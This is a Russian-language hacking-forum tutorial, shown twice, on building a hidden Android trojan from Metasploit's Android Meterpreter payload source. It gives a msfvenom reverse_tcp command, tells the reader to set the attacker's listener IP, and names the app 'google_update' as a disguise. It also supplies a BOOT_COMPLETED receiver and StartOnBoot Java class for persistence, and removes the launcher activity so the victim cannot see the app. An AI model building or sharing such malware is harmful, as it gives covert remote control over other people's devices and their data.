Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
СТАТЬЯ СЛИТА! Прежде чем начинать "собирать троян" подумайте,надо ли вам оно.
Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе. В дальнейшем можно внедрять различного рода скрипты.
Что нам понадобится:
Android Studio и Android SDK офф_сайт(
Android Meterpreter Payload source code (
Ссылки так же будут в описании видео
Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности - стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как
это самая распространенная версия Android по статистике разработчиков.
Выбираем приложения без активити (activity) -- это означает что при запуске не будет никаких
визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.
На этом подготовительный этап завершен
Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.
Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку \backdooredapk\ где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.
Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)
Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
(long half_an_hour = (3600)/(2); //время в секундах между каждой попыткой открыть новую meterpreter сессию " Я для демонстрации поставлю минуту" )
Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)
Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае "путь(имя) к вашему проекту")
Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк.После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk(хотя айпи и порт можно рандомный,нам нужен только манифест от туда)
Скопируем разрешение с манифеста в наш проект
Далее осталось подписать наше приложения.
Подписали) Ну что ж давайте протестим.))
На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.
Прежде чем приступить к прочтению данной статьи настоятельно рекомендую прочитать подготовительную статью о настройках payload и как собирать подписанное апк приложения в android studio из исходников.
Этап 1 (Создаем ресивер)
И так после того как мы научились с вами собирать нашего вредоноса,плавно перейдем к тому моменту,когда нужно что бы наш троян запускался после перезагрузки андроид устройства.
Первым делом добавим в AndroidManifest.xml ресивер который будет запускаться после удачного запуска устройства и запускать класс StartOnBoot,который мы допишем немножко позже.
Добавим следующие строки в AndroidManifest.xml после закрывающего тега </service>
Скрытое содержимое, доступно для групп : Registered
Код (Text):
<receiver android:name="com.darknode.darknode.StartOnBoot">
android:label="Start On Boot">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED">
</action>
</intent-filter>
</receiver>
Этап 2 ( Создаем класс StartOnBoot)
Дальше создаем класс StartOnBoot в нашем проекте который будет запускаться после запуска устройства.
Добавляем туда следующий контент:
Скрытое содержимое, доступно для групп : Registered
Код (Text):
package com.darknode.darknode;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
* Created by CorpOfHack on 20.11.2016.
*/
public class StartOnBoot extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if(Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
Intent DarkNodeIntent = new Intent(context,MyIntentService.class);
DarkNodeIntent.addFlags(intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(DarkNodeIntent);
}
}
}
Далее подписываем,собираем,тестируем.
Как видим после перезагрузки телефона,к нам прилетает сессия метерпретер.
Но приложения видно в списке приложений лаунчера. По этому если жертва что то заподозрит то она
его просто удалит и сессия закроется.Нам это же конечно не нужно и мы переходит к 3-му этапу.
Этап 3 ( Делаем приложения невидимым)
А делается это очень и очень просто.
Нам всего лишь нужно будет удалить активити в AndroidManifest.xml
Для этого просто удалим следующий контент из AndroidManifest.xml:
Скрытое содержимое, доступно для групп : Registered
Код (Text):
<activity
android:name="com.darknode.darknode.MainActivity"
android:label="@string/app_name"
android:theme="@android:style/Theme.NoDisplay" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
И собрать наш апк файл без активити.
Тестируем)
Как видим после перезапуска телефона к нам прилетела метерпретер сессия и приложения не видно в списке приложений лаунчера.
Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе. В дальнейшем можно внедрять различного рода скрипты.
Что нам понадобится:
Android Studio и Android SDK офф_сайт(
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
)Android Meterpreter Payload source code (
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
)Ссылки так же будут в описании видео
Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности - стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как


это самая распространенная версия Android по статистике разработчиков.
Выбираем приложения без активити (activity) -- это означает что при запуске не будет никаких
визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.

На этом подготовительный этап завершен
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.

Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку \backdooredapk\ где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.

Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)

Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
(long half_an_hour = (3600)/(2); //время в секундах между каждой попыткой открыть новую meterpreter сессию " Я для демонстрации поставлю минуту" )

Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)


Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае "путь(имя) к вашему проекту")


Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк.После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk(хотя айпи и порт можно рандомный,нам нужен только манифест от туда)


Скопируем разрешение с манифеста в наш проект


Далее осталось подписать наше приложения.


Подписали) Ну что ж давайте протестим.))





На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.
Прежде чем приступить к прочтению данной статьи настоятельно рекомендую прочитать подготовительную статью о настройках payload и как собирать подписанное апк приложения в android studio из исходников.
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Этап 1 (Создаем ресивер)
И так после того как мы научились с вами собирать нашего вредоноса,плавно перейдем к тому моменту,когда нужно что бы наш троян запускался после перезагрузки андроид устройства.
Первым делом добавим в AndroidManifest.xml ресивер который будет запускаться после удачного запуска устройства и запускать класс StartOnBoot,который мы допишем немножко позже.
Добавим следующие строки в AndroidManifest.xml после закрывающего тега </service>
Скрытое содержимое, доступно для групп : Registered
Код (Text):
<receiver android:name="com.darknode.darknode.StartOnBoot">
android:label="Start On Boot">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED">
</action>
</intent-filter>
</receiver>

Этап 2 ( Создаем класс StartOnBoot)
Дальше создаем класс StartOnBoot в нашем проекте который будет запускаться после запуска устройства.
Добавляем туда следующий контент:
Скрытое содержимое, доступно для групп : Registered
Код (Text):
package com.darknode.darknode;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
* Created by CorpOfHack on 20.11.2016.
*/
public class StartOnBoot extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if(Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
Intent DarkNodeIntent = new Intent(context,MyIntentService.class);
DarkNodeIntent.addFlags(intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(DarkNodeIntent);
}
}
}


Далее подписываем,собираем,тестируем.
Как видим после перезагрузки телефона,к нам прилетает сессия метерпретер.
Но приложения видно в списке приложений лаунчера. По этому если жертва что то заподозрит то она
его просто удалит и сессия закроется.Нам это же конечно не нужно и мы переходит к 3-му этапу.
Этап 3 ( Делаем приложения невидимым)
А делается это очень и очень просто.
Нам всего лишь нужно будет удалить активити в AndroidManifest.xml
Для этого просто удалим следующий контент из AndroidManifest.xml:
Скрытое содержимое, доступно для групп : Registered
Код (Text):
<activity
android:name="com.darknode.darknode.MainActivity"
android:label="@string/app_name"
android:theme="@android:style/Theme.NoDisplay" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>


И собрать наш апк файл без активити.

Тестируем)

Как видим после перезапуска телефона к нам прилетела метерпретер сессия и приложения не видно в списке приложений лаунчера.